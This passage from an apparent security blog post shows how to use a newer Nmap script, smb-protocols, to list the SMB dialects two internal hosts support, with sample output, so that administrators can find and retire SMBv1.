smb-protocols: https://github.com/cldrn/nmap/blob/smbv2/scripts/smb-protocols.nse
smb2-capabilities: https://github.com/cldrn/nmap/blob/smbv2/scripts/smb2-capabilities.nse
smb2-security-mode: https://github.com/cldrn/nmap/blob/smbv2/scripts/smb2-security-mode.nse
smb2 branch: https://github.com/cldrn/nmap/tree/smbv2

The script I run below is "smb-protocols", scanning the same two hosts - note that we have a list of supported protocol versions now, not just a "what did we negotiate" value.  Also, this NMAP script gives up the version without a login to the target host - PowerShell needs an authenticated, negotiated connection in order to get a negotiate connection SMB version (no surprise there).  Note that this needs a new nselib - smb2.lua, and it also needs a new version of smb.lua.  These aren't supported versions, so don't make these changes on a production scanner (at least don't make them permanently unless you understand your risks)

C:\>nmap -p139,445 192.168.249.10,18 --script smb-protocols.nse

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-01 00:48 Eastern Daylight Time
Nmap scan report for 192.168.249.10
Host is up (0.013s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-protocols:
|   dialects:
|_    NT LM 0.12 (SMBv1) [dangerous, but default]

Nmap scan report for 192.168.249.18
Host is up (0.015s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-protocols:
|   dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.02
|_    2.10

Nmap done: 2 IP addresses (2 hosts up) scanned in 280.32 seconds

If you've got a different tool that will do this, by all means please use our comment form to share this info around.  We're not done with these SMBv1 vulnerabilties, they're here to stay, so rooting out old versions of SMB is something we need to stay on top of!

Happy scanning! 

 

******************  UPDATE **************

I posted this  story on July 31, and 24 hours later NMAP 7.6 was released, which includes the NSE scripts and updates for the SMB libraries that are described here, along with several other SMB (and non-SMB) related scripts.  Find the latest version of NMAP at https://nmap.org/download.html

 

===============
Rob VandenBrink
Compugen